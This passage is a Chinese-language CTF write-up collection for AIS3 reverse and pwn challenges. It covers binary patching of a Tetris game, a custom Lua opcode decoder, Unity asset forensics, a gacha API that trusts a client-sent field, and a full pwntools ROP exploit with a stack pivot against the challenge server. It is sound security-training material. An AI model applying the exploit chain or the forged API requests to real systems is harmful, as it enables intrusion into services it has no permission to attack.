  • statically linked 代表程式是靜態連結,binary 通常會比較大,裡面也可能包含不少函式庫程式碼
  • stripped 代表 symbol 被移除,不能直接靠函式名稱判斷每段程式的用途

因此這題不能只靠函式名稱分析,需要透過反組譯結果、程式流程、交叉參照與可疑資料區段來推論。

2. 執行程式觀察行為

直接執行程式:

1
./tetris

可以看到它是一個終端機版俄羅斯方塊遊戲。

一開始很容易懷疑 flag 可能和遊戲內條件有關,例如:

  • 分數達到某個數字
  • 消除特定行數
  • 遊戲結束條件
  • 題目分數 404
  • 特定按鍵或 cheat code

不過實際觀察後,正常遊玩流程並不容易觸發 flag。這代表題目重點應該不是「真的把俄羅斯方塊玩到某個條件」,而是要逆向程式,找出遊戲背後藏起來的邏輯。

3. 使用 strings 尋找明顯線索

接著使用 strings 掃描 binary:

1
strings -a tetris | less

也可以直接搜尋和 flag 相關的關鍵字:

1
strings -a tetris | grep -i "AIS3\|flag\|score\|game\|tetris"

但沒有直接看到明文 flag。

這表示 flag 很可能不是以明文形式存在程式中,而是被加密後放在資料區,等到特定流程被執行時才會解密。因此接下來需要找出:

  1. encrypted flag 存在哪裡
  2. 解密 key 如何產生
  3. 解密流程在哪裡
  4. 程式要怎麼進入印出 flag 的流程

4. 逆向程式流程

使用 Ghidra / IDA / Binary Ninja 打開 binary 後,可以先從程式入口、主迴圈和輸出函式交叉參照開始看。

由於這是一個遊戲,正常會有類似下面的流程:

1
讀取輸入 -> 更新遊戲狀態 -> 畫面渲染 -> 等待下一幀

但在逆向過程中,可以觀察到程式並不是單純線性執行,而是透過一個類似 state machine 的結構控制流程。

概念上大概像這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while (1) {
switch (state) {
case STATE_INIT:
// 初始化遊戲
break;
case STATE_GAME:
// 遊戲主流程
break;
case STATE_RENDER:
// 畫面更新
break;
case STATE_HIDDEN_1:
// 產生 key / 複製 encrypted flag
break;
case STATE_HIDDEN_2:
// 解密並輸出 flag
break;
}
}

這個發現很重要,因為 state machine 裡有些 state 並不會從正常遊戲流程自然進入,看起來就是題目刻意藏起來的解題路徑。

5. 找到隱藏的關鍵狀態

進一步分析 state table 後,可以找到兩個關鍵位置:

1
2
0x15c30b5  -> 產生 key + 複製 encrypted flag
0x15c317f -> RC4-like decrypt + printf flag

第一段邏輯主要負責:

  1. 準備解密用的 key
  2. 從 .data 區段複製 encrypted flag blob
  3. 將資料準備給後續解密流程使用

第二段邏輯主要負責:

  1. 使用前面準備好的 key
  2. 執行類似 RC4 PRGA 的 keystream 產生流程
  3. 將 keystream 和 encrypted flag 做 XOR
  4. 使用 printf 印出解密後的 flag

也就是說,程式本身其實已經包含解密器,只是正常遊玩不會進入這段 hidden state。

6. 分析 RC4-like 解密流程

在解密狀態中,可以看到類似 stream cipher 的結構:

1
2
3
4
5
6
7
8
for (int n = 0; n < length; n++) {
i = (i + 1) & 0xff;
j = (j + S[i]) & 0xff;
swap(S[i], S[j]);

k = S[(S[i] + S[j]) & 0xff];
plaintext[n] = ciphertext[n] ^ k;
}

這段邏輯和 RC4 的 PRGA 很像。

因此可以推論:

  • flag 是加密後存在 binary 裡
  • 程式執行到 hidden state 後才會解密
  • 解密完成後會直接印出 flag

所以不一定要完整重寫解密器,只要讓程式執行到 hidden state,就能讓程式自己把 flag 解出來。

7. Patch state table 進入隱藏流程

因為正常遊戲流程不會進到 hidden state,所以可以透過 patch state table 的方式,讓程式直接跳到關鍵狀態。

原本流程大致是:

1
遊戲初始化 -> 遊戲主迴圈 -> 方塊控制 -> 結束

修改後希望變成:

1
遊戲初始化 -> hidden key setup -> hidden decrypt -> printf flag

也就是讓 state table 中某個原本指向一般遊戲流程的 entry,改成先進入:

1
0x15c30b5

完成 key 產生與 encrypted flag 複製後,再進入:

1
0x15c317f

執行解密與輸出。

這樣做的原因是:既然程式內部已經有完整的解密流程,就不需要自己重寫演算法,只要改變控制流程,讓程式跑到原本不會被正常觸發的分支即可。

8. 執行 patch 後的程式

Patch 完後重新執行修改後的 binary:

1
./tetris_patched

程式會直接進入隱藏的解密流程,最後印出:

1
AIS3{T3tr1s_P4tt3rn_M4st3r!}

到這裡就可以確認,這題真正的 flag 是由 hidden state 中的 RC4-like 解密流程產生,而不是靠正常遊玩俄羅斯方塊取得。

Flag

1
AIS3{T3tr1s_P4tt3rn_M4st3r!}

ㄌㄨㄚˋ

Category: Reverse

題目敘述

ㄌㄨㄚˋ

Author: ShallowFeather

附件內容

題目提供兩個檔案:

1
2
secret.luac
luac_stripped.exe

從檔名可以推測,這題和 Lua bytecode reverse 有關。secret.luac 是題目要分析的 Lua bytecode,而 luac_stripped.exe 則是題目提供的執行器或修改過的 Lua 工具。

解題過程

1. 檢查檔案類型

首先觀察兩個附件的檔案型態:

1
2
file secret.luac
file luac_stripped.exe

可以得到大致資訊:

1
2
secret.luac: Lua bytecode, version 5.1
luac_stripped.exe: PE32+ executable, x86-64

secret.luac 看起來是 Lua 5.1 bytecode,而 luac_stripped.exe 則是一個 Windows x64 執行檔。

看到 .luac 的時候,直覺會先嘗試用標準 Lua 工具反組譯,例如:

1
luac -l secret.luac

或是丟給常見的 Lua decompiler,例如 unluac。

不過實際測試後會發現,標準工具無法正確解析這份 bytecode,代表它應該不是普通的 Lua 5.1 bytecode。

2. 確認標準 Lua 工具無法直接使用

正常的 Lua 5.1 bytecode 可以被標準 luac -l 列出 instruction。

但這題的 secret.luac 經過修改,一般工具解析時會出現不正常的結果。這代表題目真正的重點不是單純反編譯 Lua,而是要先理解題目提供的 luac_stripped.exe 如何讀取與執行這份 bytecode。

逆向 luac_stripped.exe 後,可以觀察到幾個重點:

  • 它是修改過的 Lua 5.1 VM / loader
  • Proto 結構被修改過
  • 每個 function 額外多了一個 byte 作為 decode key
  • instruction 的 opcode 不是直接取低 6 bits,而是在執行時動態解碼

也就是說,這題是把混淆放在 Lua bytecode / VM 層,讓現成的 Lua 反編譯工具失效。

3. 理解 Lua 5.1 instruction 格式

Lua 5.1 的 instruction 是 32-bit。

在標準 Lua 5.1 中,opcode 通常放在 instruction 的低 6 bits:

1
opcode = instruction & 0x3f;

一般反組譯器會根據這個 opcode 去判斷指令類型,例如:

1
2
3
4
5
6
MOVE
LOADK
CALL
GETGLOBAL
RETURN
...

但這題修改了 opcode 的取得方式,所以如果直接用標準 Lua 5.1 的規則解析,就會把 instruction 判斷錯誤。

這也是為什麼一般 luac -l 或 decompiler 無法直接解出正常邏輯。

4. 逆向 luac_stripped.exe 找出 opcode 解碼方式

在 luac_stripped.exe 中尋找 bytecode loader 與 opcode dispatch 的邏輯後,可以發現它不是直接使用:

1
opcode = instruction & 0x3f;

而是使用類似以下公式還原真正的 opcode:

1
real_opcode = (instruction ^ (proto_key ^ 0x2b) ^ (15 * pc + 17)) & 0x3f;

其中各個變數的意義如下:

變數 意義
instruction 目前讀到的 32-bit Lua instruction
proto_key 每個 Lua function / Proto 額外保存的一個 key byte
pc 目前 instruction 的位置
0x2b 固定 XOR 常數
15 * pc + 17 與 PC 相關的動態 key
& 0x3f 取出真正的 6-bit opcode

這裡的重點是:opcode 會受到 proto_key 和 pc 影響,所以同樣的 instruction 在不同 function 或不同位置,解出來的 opcode 可能不同。

5. 分析 Proto 結構修改

標準 Lua 5.1 的 Proto 結構會保存 function 的 bytecode、constant table、nested function、local variable 等資訊。

但這題的 Proto 額外多了一個 byte,這個 byte 會被 VM 當成該 function 的 opcode decode key。

因此如果使用標準 Lua 5.1 parser 直接解析 secret.luac,offset 會錯位,後面的 instruction、constant、nested prototype 都可能被解析錯。

這一步很關鍵,因為要正確還原 bytecode,不能只照標準格式讀,必須依照題目修改過的格式讀出 proto_key。

6. 還原 opcode

根據逆向結果,可以寫出 opcode 解碼核心:

1
2
def decode_opcode(instruction, proto_key, pc):
return (instruction ^ (proto_key ^ 0x2b) ^ (15 * pc + 17)) & 0x3f

其中 pc 是目前 instruction 的 index。

還原後就可以對照 Lua 5.1 的 opcode table,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
0  MOVE
1 LOADK
2 LOADBOOL
3 LOADNIL
4 GETUPVAL
5 GETGLOBAL
6 GETTABLE
7 SETGLOBAL
8 SETUPVAL
9 SETTABLE
10 NEWTABLE
11 SELF
12 ADD
13 SUB
14 MUL
15 DIV
16 MOD
17 POW
18 UNM
19 NOT
20 LEN
21 CONCAT
22 JMP
23 EQ
24 LT
25 LE
26 TEST
27 TESTSET
28 CALL
29 TAILCALL
30 RETURN
31 FORLOOP
32 FORPREP
33 TFORLOOP
34 SETLIST
35 CLOSE
36 CLOSURE
37 VARARG

這樣做之後,原本看起來混亂的 Lua bytecode 就能逐步還原成可理解的 instruction。

7. 還原主程式邏輯

將 opcode 還原後,可以看出主程式其實很單純:

1
2
3
4
5
6
7
8
io.write("> ")
input = io.read()

if check(input) then
print("ok")
else
print("no")
end

也就是說,程式會讀取使用者輸入,然後把輸入丟進 check() 函式驗證。

因此真正的 flag 驗證邏輯不在主程式,而是在 check() 裡面。

8. 分析 check() 函式

繼續還原 check() 後,可以看到幾個重要條件:

  • 會先檢查輸入長度
  • 正確長度是 33
  • 內部有兩組 table 作為驗證資料
  • 每個字元會經過 XOR / table mapping
  • 最後還有一個 accumulator 檢查,值必須等於 229

整理成概念上的程式碼,大概像這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function check(input)
if #input ~= 33 then
return false
end

for i = 1, 33 do
-- 將 input[i] 經過 XOR / table 轉換
-- 再與目標值比較
if transformed_char ~= target[i] then
return false
end
end

-- 額外 accumulator check
if acc ~= 229 then
return false
end

return true
end

這代表 flag 不是直接用明文放在 constant 裡,而是透過逐字元運算驗證。

9. 反推正確輸入

因為每個字元的檢查主要是 XOR 形式,所以可以逐字元反推。

XOR 有一個很重要的特性:

1
2
a ^ b = c
c ^ b = a

也就是說,如果驗證邏輯是:

1
target[i] = input[i] ^ key[i]

那麼就可以反過來算:

1
input[i] = target[i] ^ key[i]

這也是為什麼只要還原出 target table 和 key / mapping table,就可以把正確輸入還原回來。

最後反推出的輸入為:

1
AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}

10. 驗證結果

將反推出來的字串輸入程式:

1
2
> AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}
ok

程式輸出 ok,代表通過驗證。

因此可以確認這就是本題 flag。

Flag

1
AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}

哇!金色傳說

Category: Reverse

題目敘述

哇!金色傳說。 來抽武器感受割草的快感吧!

B.zip 是一個 Unity 遊戲, 注意此題跟 Hidden in the Cloak 共用同一個遊戲.

Flag 格式:^AIS3{[A-Za-z_?]+}$

附件內容

題目提供一個壓縮檔 B.zip,解壓後是一個 Unity 遊戲。

解壓後可以看到標準 Unity 遊戲結構:

1
2
3
4
5
6
B/
├── Reverse1.exe
└── Reverse1_Data/
├── Managed/
│ └── Assembly-CSharp.dll
└── StreamingAssets/

這題是 Unity Mono 類型的 reverse 題,主要遊戲邏輯位於:

1
Reverse1_Data/Managed/Assembly-CSharp.dll

因此可以直接使用 ILSpy、dnSpy 或 ilspycmd 反編譯 Assembly-CSharp.dll 來分析遊戲邏輯。

解題過程

1. 觀察 Unity 遊戲結構

拿到 B.zip 後,先將壓縮檔解開:

1
unzip B.zip

可以看到裡面是一個 Unity 遊戲。遇到 Unity reverse 題時,通常會先檢查幾個地方:

  • Assembly-CSharp.dll
  • global-metadata.dat
  • StreamingAssets
  • asset bundle

如果是 Unity Mono,通常遊戲主要邏輯會在 Managed/Assembly-CSharp.dll 裡;如果是 IL2CPP,則會需要搭配 GameAssembly.dll 和 global-metadata.dat 分析。

這題可以在 Reverse1_Data/Managed/Assembly-CSharp.dll 找到完整邏輯,所以可以直接反編譯 C# 程式碼。

2. 反編譯 Assembly-CSharp.dll

使用 ILSpy / dnSpy / ilspycmd 反編譯 Assembly-CSharp.dll 後,可以先搜尋和題目有關的關鍵字,例如:

1
2
3
4
5
gacha
weapon
legend
gold
flag

很快可以找到兩個重要 class:

  • GameManager
  • GachaServer

其中 GameManager 裡可以看到抽卡伺服器網址:

1
public string GachaServerUrl { get; } = "http://chals1.ais3.org:50001";

這代表抽卡結果不是完全由本地遊戲計算,而是會把資料送到遠端 API,由伺服器回傳抽卡結果。

這個發現很重要,因為如果抽卡 API 信任 client 傳來的資料,就有機會透過偽造 request 觸發異常結果或隱藏分支。

3. 分析抽卡請求內容

繼續看 GachaServer.RollCoroutine(),可以看到遊戲會組出一份 JSON 並送到伺服器。

關鍵程式碼大致如下:

1
2
3
4
float num = UnityEngine.Random.Range(0f, 0.3f);
string s2 = $"{{\"spend\":{spend},\"rate\":{num:F4}," +
"\"username\":\"" + EscapeJson(s) + "\"," +
$"\"gold\":{num2},\"score\":{num3},\"kills\":{num4}}}";

送出的 JSON 包含以下欄位:

  • spend
  • rate
  • username
  • gold
  • score
  • kills

其中最值得注意的是 rate。

遊戲正常情況下會用:

1
UnityEngine.Random.Range(0f, 0.3f)

產生 rate,所以正常玩家送到 server 的 rate 理論上只會落在:

1
0.0 <= rate <= 0.3

這裡就出現一個很可疑的點:如果 server 直接相信 client 傳來的 rate,那就可以自己手動送出超出正常範圍的值,測試會不會觸發隱藏邏輯。

4. 直接測試抽卡 API

知道 API 網址和 JSON 格式後,就可以不用透過遊戲,直接使用 curl 或 Python 對伺服器送 request。

例如先送一個正常範圍的 request:

1
2
3
curl -sS -X POST http://chals1.ais3.org:50001/ \
-H 'Content-Type: application/json' \
-d '{"spend":500,"rate":0.1234,"username":"test","gold":1000,"score":50,"kills":10}'

回傳格式大致會包含 weapon 和 armor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"weapon": {
"name": "Scythe III",
"damage": 35.3,
"maxDurability": 195,
"range": 3.9,
"angle": 110.5,
"cooldown": 0.77,
"bonusGoldPercent": 0.0,
"lifestealPercent": 0.0
},
"armor": {
"name": "Iron Boots",
"slot": "Boots",
"damageReduction": 0,
"bonusMaxHp": 81.4,
"bonusSpeed": 1.22
}
}

這代表直接打 API 是可行的,接下來就可以針對 rate 做邊界測試。

5. 測試異常 rate 範圍

先測試明顯異常的值,例如 rate < 0:

1
2
3
4
5
6
7
8
{
"spend": 500,
"rate": -1,
"username": "test",
"gold": 0,
"score": 0,
"kills": 0
}

這類 request 會拿到類似作弊懲罰的結果,例如:

1
2
3
4
5
6
7
8
{
"weapon": {
"name": "Wet Noodle I"
},
"armor": {
"name": "Cheater"
}
}

這代表 server 並不是完全沒有檢查,而是對太誇張的值會判定為作弊。

接著測試正常遊戲不會送出的邊界,也就是:

1
0.3 < rate <= 1

例如把 rate 設成 0.3001:

1
2
3
4
5
6
7
8
{
"spend": 500,
"rate": 0.3001,
"username": "test",
"gold": 0,
"score": 0,
"kills": 0
}

這時回傳結果中的 armor.name 會出現 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"weapon": {
"name": "Spear III",
"damage": 29.9,
"maxDurability": 217,
"range": 4.8,
"angle": 26.0,
"cooldown": 0.55,
"bonusGoldPercent": 0.0,
"lifestealPercent": 0.0
},
"armor": {
"name": "AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}",
"slot": "Body",
"damageReduction": 0.2,
"bonusMaxHp": 15,
"bonusSpeed": 0
}
}

到這裡就可以確認,flag 被藏在特殊 rate 範圍對應的回傳結果中。

6. 為什麼可以這樣做

這題的核心問題在於 server 信任了 client 傳來的抽卡參數。

正常遊戲中,client 只會產生:

1
0.0 <= rate <= 0.3

但因為 request 是由 client 端送出的,只要我們自己構造 HTTP request,就可以把 rate 改成遊戲正常流程不會產生的值。

不過 server 對太誇張的範圍仍然有檢查,例如:

  • rate < 0
  • rate > 1

這些情況會被判定為作弊,回傳 Wet Noodle I 和 Cheater。

因此真正有效的區間是:

1
0.3 < rate <= 1

在這個區間內,server 沒有把玩家擋掉,反而會進入隱藏分支,把 flag 放在 armor.name 回傳。

7. 撰寫 solver

最後可以寫一支簡單的 Python solver,直接 POST 修改過的 JSON:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3

import json
from urllib import request


URL = "http://chals1.ais3.org:50001/"


def main() -> None:
body = {
"spend": 500,
"rate": 0.3001,
"username": "player",
"gold": 0,
"score": 0,
"kills": 0,
}
data = json.dumps(body).encode()
req = request.Request(
URL,
data=data,
headers={"Content-Type": "application/json"},
method="POST",
)
with request.urlopen(req, timeout=5) as resp:
print(resp.read().decode())


if __name__ == "__main__":
main()

執行 solver:

1
python3 wow-golden-legendary-solve.py

即可直接取得伺服器回傳,並在 armor.name 中看到 flag。

Flag

1
AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}

Hidden in the Cloak

Category: Reverse

題目敘述

主角正在屠殺史萊姆,不過披風好像被黏液沾滿了。

本題和 哇!金色傳說 共用同一個 Unity 遊戲。

Flag 格式:AIS3{[a-hj-kmnp-z0-9_]+}

附件內容

題目提供一個 Unity 遊戲壓縮檔 B.zip,並且題目說明此題和 哇!金色傳說 共用同一個遊戲。

解壓後可以看到 Unity 遊戲常見的結構,其中比較重要的是:

1
2
3
4
5
Reverse1.exe
Reverse1_Data/
├── Managed/
│ └── Assembly-CSharp.dll
└── StreamingAssets/

一開始比對後可以發現,這題的 Assembly-CSharp.dll 和 哇!金色傳說 是同一份,因此這題的 flag 很可能不是藏在遊戲程式邏輯裡,而是藏在 Unity asset、角色資產或貼圖之中。

解題過程

1. 確認題目和上一題共用遊戲

題目描述提到這題和 哇!金色傳說 共用同一個 Unity 遊戲。

因此一開始先檢查遊戲邏輯,也就是:

1
Reverse1_Data/Managed/Assembly-CSharp.dll

比對後可以發現,這份 Assembly-CSharp.dll 和上一題相同。

這個結果很重要,因為代表:

  • 這題不太像是要再逆一次遊戲主邏輯
  • flag 可能不在 C# 程式碼裡
  • 更可能藏在共用遊戲的角色資產、動畫、材質或貼圖中

題目名稱是 Hidden in the Cloak,而題目敘述又提到「披風」,所以後續分析方向就轉向角色相關資產。

2. 尋找角色相關 bundle

在 Unity 遊戲資料夾中,可以從 StreamingAssets 開始找 asset bundle。

其中 StreamingAssets/bundles/character_main.manifest 裡可以看到這包角色資產包含以下內容:

1
2
3
4
5
6
7
Assets/SpineData/character.json
Assets/SpineData/character_Material.mat
Assets/Prefabs/CharacterSpine.prefab
Assets/SpineData/character_Atlas.asset
Assets/SpineData/character.png
Assets/SpineData/character_SkeletonData.asset
Assets/SpineData/character.atlas.txt

這裡可以看出角色是用 Spine 製作的。

Spine 角色通常會包含:

  • character.png:角色 atlas 圖片
  • character.atlas.txt:定義 atlas 中每個 region 的位置
  • character.json:定義骨架、slot、attachment、animation

因此接下來的分析重點就是把 character_main bundle 解出來,檢查這三個檔案。

3. 解出 Spine 角色資產

將 character_main bundle 裡的主要資產抽出後,可以得到:

1
2
3
character.json
character.atlas.txt
character.png

其中:

  • character.png 是整張 atlas 圖
  • character.atlas.txt 定義每個小圖塊對應的 region
  • character.json 定義 bones、slots、attachments、animations

這一步的重點是,flag 如果藏在角色外觀中,通常不會直接出現在程式碼,而是會被拆成圖片 region 或 attachment,透過骨架或動畫組合出來。

4. 在 atlas 圖片中發現可疑文字

打開 character.png 後,可以發現除了正常的角色部件以外,還有很多白底黑字的小圖塊。

可疑文字片段包含:

1
2
3
4
AIS3{
d0n7_70
uch_my_
c4p3_0k_

以及一些單一字元或數字,例如:

1
2
3
4
5
6
7
8
9
b
3
f
1
e
7
6
8
}

這裡可以判斷,flag 不是以一整張完整圖片直接放在 atlas 裡,而是被拆成很多 sprite region。

所以接下來要做的事情,就是找出這些文字 sprite 的正確排列順序。

5. 從 character.json 找到文字 slot

繼續檢查 character.json,可以看到裡面有一組很可疑的 slot:

1
s013 ~ s025

它們分別掛在:

1
b013 ~ b025

對應的 attachment 則是一串文字 fragment:

1
2
3
4
5
6
7
8
9
10
11
12
13
s013 -> r037 -> AIS3{
s014 -> r017 -> d0n7_70
s015 -> r016 -> uch_my_
s016 -> r034 -> c4p3_0k_
s017 -> r047 -> b
s018 -> r031 -> 3
s019 -> r050 -> f
s020 -> r032 -> 1
s021 -> r022 -> e
s022 -> r039 -> 7
s023 -> r058 -> 6
s024 -> r043 -> 8
s025 -> r042 -> }

這一段其實已經幾乎把 flag 的順序列出來了。

因為 Spine 的 slot 會決定 attachment 顯示在骨架上的順序與對應位置,所以依照 s013 ~ s025 的順序把 attachment 名稱接起來,就能還原出完整訊息。

6. 觀察可疑動畫 emote_a

在 character.json 的 animation 區塊中,除了常見的動畫,例如:

1
2
idle
walk

還有一個比較可疑的動畫:

1
emote_a

這個動畫不影響主要遊戲移動,但它會對 b013 ~ b025 做大幅度的平移與旋轉。

也就是說,這些文字 sprite 不是隨便塞在 atlas 裡,而是設計成:

  • 平常藏在角色或披風附近,不容易看出完整內容
  • 透過特定 Spine 動畫後,文字會被攤開
  • 攤開後就能讀出 flag

這也呼應題目名稱 Hidden in the Cloak,flag 是藏在角色披風相關的資產與動畫中。

7. 拼出完整 flag

最後依照 slot 順序,將 s013 ~ s025 對應的文字片段接起來:

1
2
3
4
5
6
7
8
9
10
11
12
13
AIS3{
d0n7_70
uch_my_
c4p3_0k_
b
3
f
1
e
7
6
8
}

合併後得到:

1
AIS3{d0n7_70uch_my_c4p3_0k_b3f1e768}

到這裡可以確認,這題不是傳統的演算法逆向或 patch 題,而是 Unity asset / Spine 資產取證題。

出題者把 flag 拆成許多 sprite,藏在角色 atlas 中,再透過 Spine slot 和特殊動畫把它們組合成可讀訊息。

Flag

1
AIS3{d0n7_70uch_my_c4p3_0k_b3f1e768}

std::print("Hello, World") revenge

Category: Pwn

題目敘述

std::print("Hello, World") revenge

1
nc chals1.ais3.org 50002

附件內容

題目提供一個 Linux ELF 執行檔,並且遠端服務位於:

1
chals1.ais3.org:50002

這題是 pwn 題,程式一開始會印出:

1
Value: 1337

接著會持續讀取使用者輸入。只要輸入的第一個 byte 是 y 或 Y,程式就會繼續執行;否則會直接 exit(0)。

解題過程

1. 檢查程式保護

首先使用 checksec 查看 binary 保護:

1
checksec ./chall

可以看到保護狀態大致如下:

1
2
3
4
Full RELRO
No canary
NX enabled
No PIE

這組保護提供了幾個重要資訊:

  • Full RELRO:GOT 不能直接改寫
  • No canary:如果有 stack overflow,可以直接覆蓋 return address
  • NX enabled:不能直接在 stack 上執行 shellcode
  • No PIE:binary 內部位址固定,ROP gadget 和函式位址可以直接硬編

因此這題看起來很適合往 stack overflow + ROP 的方向分析。

2. 找到 Question() 的 stack overflow

接著檢查程式讀取輸入的位置,可以在 Question() 中看到關鍵邏輯:

1
2
3
4
5
6
7
8
9
4035d4 <Question>:
push rbp
mov rbp,rsp
sub rsp,0x50
lea rax,[rbp-0x50]
mov edx,0xe0
mov rsi,rax
mov edi,0x0
call read@plt

這段程式很明顯有問題:

  • stack buffer 只有 0x50 bytes
  • 但 read() 會讀入 0xe0 bytes

也就是說,只要輸入超過 0x50 bytes,就可以覆蓋 saved rbp 和 return address。

這就是本題的主要漏洞。

3. 發現 flag 已經被讀進全域變數

繼續往前看程式初始化流程,可以發現 main() 一開始會先呼叫 load_flag()。

在 load_flag() 中,程式會把 flag 讀進全域區域:

1
2
403543: mov    edi,0x427040
403548: call fread@plt

因此 flag 其實已經存在 .bss 的固定位置:

1
FLAG buffer: 0x427040

這個發現很重要,因為代表不需要開 shell,也不需要另外呼叫 open/read/write 去讀 flag 檔。

只要能把 0x427040 的內容印出來,就可以取得 flag。

4. 嘗試直接呼叫 fwrite

最直覺的做法是用 ROP 呼叫:

1
fwrite(flag, 1, len, stdout);

在 amd64 calling convention 下,fwrite() 需要準備以下參數:

1
2
3
4
rdi = ptr
rsi = size
rdx = nmemb
rcx = stream

但這題有一個麻煩點:binary 裡 gadget 不多。

雖然可以找到:

  • pop rdi
  • pop rsi

但缺少好用的:

  • pop rdx
  • pop rcx

因此如果硬要自己組一條完整的 fwrite() ROP chain,會變得不太方便。

5. 改用程式內部原本的輸出流程

既然 binary 自己本來就會印出東西,那就不一定要自己從零呼叫 fwrite()。

這題的核心思路是重用程式內部已經存在的輸出路徑,也就是讓程式自己準備好 fwrite 需要的參數,然後把原本要輸出的資料換成 flag buffer。

整體概念如下:

1
把 binary 自己的印字流程拿來當 arbitrary print primitive

最後利用的方向是:

  1. 第一次 overflow 改掉 rbp 和 return address
  2. 重新跳回 Question()+8,讓下一段 payload 被讀到 .bss
  3. 在 .bss 上布置假的資料結構
  4. 進入 binary 內部 std::vprint_nonunicode / fwrite 附近的輸出流程
  5. 讓程式把 0x427040 的 flag buffer 當成要輸出的資料印到 stdout

這樣就不用自己湊齊 rdx、rcx 等參數。

6. 分成三個 stage 的原因

雖然有 stack overflow,但單次 read() 最多只讀 0xe0 bytes,payload 空間不算特別大。

因此 exploit 被拆成三段。

Stage 1:pivot 到 .bss

第一段 payload 只做一件事:

  • 把 saved rbp 改到 .bss
  • return 到 Question()+8

Question()+8 對應的位置是:

1
0x4035DC

這樣下一輪 read() 就不會把資料讀回原本 stack,而是會讀到我們控制的 .bss 區域。

Stage 2:布置 flag pointer 和長度

第二段 payload 會在 .bss 上放好假的資料結構,例如:

1
2
ptr = 0x427040
len = 0x80

接著再次跳回 Question()+8,讓程式繼續讀入第三段 payload。

Stage 3:接上內部 fwrite 路徑

第三段 payload 負責最後收尾:

  • 取出 copy-relocated 的 stdout 指標
  • 把 stdout 寫到 fake frame 對應位置
  • 跳進 binary 內部準備好 fwrite 參數的那段邏輯

最後程式等價於執行:

1
fwrite(FLAG, 1, 0x80, stdout);

程式後面就算 crash 也沒關係,因為 flag 已經先被送出來了。

7. 整理關鍵位址

利用過程中比較重要的位址如下:

1
2
3
4
5
6
7
8
FLAG buffer:                         0x427040
Question()+8: 0x4035DC
pop rbp ; ret: 0x4034ED
pop rsi ; pop rbp ; ret: 0x4153F7
write *(ptr) = rsi gadget: 0x41783C
load qword via [rbp-8] gadget: 0x4042A2
store rax to ptr and leave; ret: 0x4121E7
internal print path: 0x404546

這些位址可以直接使用的原因是 binary 是 No PIE,所以程式本身的位址在本機與遠端都固定。

8. 撰寫 exploit

最後整理出 exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python3
from pwn import *
import sys
import time


HOST = "chals1.ais3.org"
PORT = 50002

BIN_PATH = "/tmp/ais3_print_revenge/share/chall"


def build_payloads():
fake_rbp = 0x427BF8
stdout_slot = fake_rbp - 0x1F8
span_ptr_slot = fake_rbp - 0x1B0
span_len_slot = fake_rbp - 0x1A8
flag_ptr = 0x427040

pop_rbp = 0x4034ED
pop_rsi_rbp = 0x4153F7
write_rsi_to_ptr = 0x41783C
load_qword_via_rbp = 0x4042A2
store_rax_to_ptr_leave = 0x4121E7

payload1 = b"y".ljust(0x50, b"A") + p64(0x427650) + p64(0x4035DC)

stage2 = bytearray(b"\x00" * 0xE0)
stage2[0] = ord("y")

for off, val in (
(0x08, span_ptr_slot),
(0x18, span_len_slot),
(0x50, 0),
):
stage2[off : off + 8] = p64(val)

chain2 = [
pop_rsi_rbp,
flag_ptr,
0x427610,
write_rsi_to_ptr,
0x427620,
pop_rsi_rbp,
0x80,
0x427620,
write_rsi_to_ptr,
0,
pop_rbp,
0x427750,
0x4035DC,
]
for i, val in enumerate(chain2):
off = 0x58 + i * 8
stage2[off : off + 8] = p64(val)

stage3 = bytearray(b"\x00" * 0xE0)
stage3[0] = ord("y")

for off, val in (
(0x28, 0x427020),
(0x88, stdout_slot),
(0x90, 0),
(0x98, pop_rbp),
(0xA0, fake_rbp),
(0xA8, 0x404546),
(0x50, 0),
):
stage3[off : off + 8] = p64(val)

chain3 = [
pop_rbp,
0x427730,
load_qword_via_rbp,
0x427790,
store_rax_to_ptr_leave,
]
for i, val in enumerate(chain3):
off = 0x58 + i * 8
stage3[off : off + 8] = p64(val)

return payload1, bytes(stage2), bytes(stage3)


def main():
context.arch = "amd64"
context.os = "linux"

if len(sys.argv) > 1 and sys.argv[1] == "local":
io = process(BIN_PATH, cwd="/tmp/ais3_print_revenge/share")
else:
io = remote(HOST, PORT)

payload1, payload2, payload3 = build_payloads()

io.recvuntil(b"Value: 1337\n")
io.send(payload1)
time.sleep(0.05)
io.send(payload2)
time.sleep(0.05)
io.send(payload3)

data = io.recvall(timeout=2)
flag = data.split(b"\x00", 1)[0]
print(flag.decode("latin-1", errors="replace"))


if __name__ == "__main__":
main()

9. 執行 exploit 取得 flag

執行 exploit:

1
python3 solve.py

可以取得輸出:

1
AIS3{f4k3_fl4g_1s_4ls0_4_fl4g}

到這裡就成功利用 stack overflow、stack pivot 和程式內部輸出流程,把已經載入 .bss 的 flag 印出來。

Flag

1
AIS3{f4k3_fl4g_1s_4ls0_4_fl4g}

EasyZKP

Category: Crypto

題目敘述

You are neither proover or verifier this time.

Author: whale120

nc chals1.ais3.org 48765

EasyZKP

Category: Crypto

題目敘述

You are neither proover or verifier this time.
nc chals1.ais3.org 48765
檔案都在資料夾裡了

Author: whale120

附件內容

題目提供了一包壓縮檔,內含 Python 原始碼,主要分為兩個部分:

